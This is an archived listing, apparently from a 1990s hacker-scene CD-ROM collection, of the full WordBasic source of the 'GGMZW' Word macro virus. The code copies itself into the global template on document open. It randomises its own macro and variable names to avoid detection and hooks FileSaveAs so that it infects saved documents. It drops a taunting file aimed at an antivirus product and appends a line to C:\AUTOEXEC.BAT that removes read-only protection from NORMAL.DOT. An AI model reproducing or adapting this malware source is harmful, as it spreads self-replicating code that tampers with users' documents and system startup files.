home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CCTX0497.ZIP / MVUPDAT9.ZIP / ANTI-IVX.ZIP / GGMZW.TXT < prev    next >
Text File  |  1997-03-10  |  2KB  |  95 lines
  1. Sub MAIN
  2. REM GGMZW macro
  3. On Error Goto Abort
  4. M = CountMacros(0, 0)
  5. For i = 1 To M
  6. If MacroName$(i, 0, 0) = "FileSaveAs" Then b = - 1
  7. Next i
  8. If Not b Then
  9. DisableInput
  10. ToolsOptionsSave .FastSaves = 1, .GlobalDotPrompt = 0
  11. ScreenUpdating 0
  12. ayz$ = FileName$()
  13. MacroCopy ayz$ + ":AutoOpen", "Global:HSLJZ"
  14. ToolsMacro .Name = "HSLJZ", .Edit, .Show = 0
  15. For q = 1 To 5
  16. w$ = w$ + Chr$(Int(Rnd() * 26) + 65)
  17. Next q
  18. EditReplace .Find = "HSLJZ", .Replace = w$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1
  19. w$ = ""
  20. For q = 1 To 3
  21. w$ = w$ + Chr$(Int(Rnd() * 26) + 97)
  22. Next q
  23. w$ = w$ + "$"
  24. EditReplace .Find = "ayz$", .Replace = w$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1
  25. ParaDown Int(Rnd() * 50) + 1
  26. Insert "'1 Gen"
  27. InsertPara
  28. DocClose 1
  29. ToolsMacro .Name = "FileSaveAs", .Edit, .Show = 0
  30. StartOfLine
  31. '1 Gen
  32. LineUp 1
  33. Insert "on error goto abort"
  34. InsertPara
  35. LineDown 1
  36. x = Rnd()
  37. If x < 0.2 Then
  38. Insert "dlg.format=1"
  39. ElseIf x < 0.4 Then
  40. Insert "dlg.format = 1"
  41. ElseIf x < 0.6 Then
  42. Insert "dlg. format =1"
  43. ElseIf x < 0.8 Then
  44. Insert " dlg.format=1"
  45. Else
  46. '1 Gen
  47. Insert "dlg.format =1"
  48. End If
  49. InsertPara
  50. Insert "'" + Str$(Rnd())
  51. InsertPara
  52. x = Rnd()
  53. If x < 0.2 Then
  54. Insert "ayz$=filename$()"
  55. ElseIf x < 0.4 Then
  56. Insert " ayz$   =  filename$()"
  57. ElseIf x < 0.4 Then
  58. Insert " ayz$ = filename$()"
  59. ElseIf x < 0.4 Then
  60. Insert "   ayz$ =filename$()"
  61. Else
  62. Insert "ayz$   =filename$()"
  63. End If
  64. x = Int(Rnd() * 5) + 2
  65. For i = 1 To x
  66. InsertPara
  67. Next i
  68. Insert "'" + Str$(Rnd())
  69. InsertPara
  70. Insert "macrocopy " + Chr$(34) + "Global:HSLJZ" + Chr$(34) + ",ayz$+" + Chr$(34) + ":AutoOpen" + Chr$(34)
  71. InsertPara
  72. LineDown 1
  73. Insert "abort:"
  74. InsertPara
  75. DocClose 1
  76. iv$ = FileNameInfo$(ayz$, 5) + "IVX.NOT"
  77. Open iv$ For Output As #1
  78. Print #1, "IVX detects all macro viruses, past, present, and future."
  79. Close #1
  80. nd$ = DefaultDir$(2) + "\NORMAL.DOT"
  81. Open "C:\AUTOEXEC.BAT" For Input As #1
  82. While Not Eof(1)
  83. Line Input #1, y$
  84. If InStr(y$, nd$) <> 0 Then r = - 1
  85. Wend
  86. Close #1
  87. If Not r Then
  88. Open "C:\AUTOEXEC.BAT" For Append As #1
  89. Print #1, "@ATTRIB -R " + ND$ + " > NUL"
  90. Close #1
  91. End If
  92. End If
  93. Abort:
  94. End Sub
  95.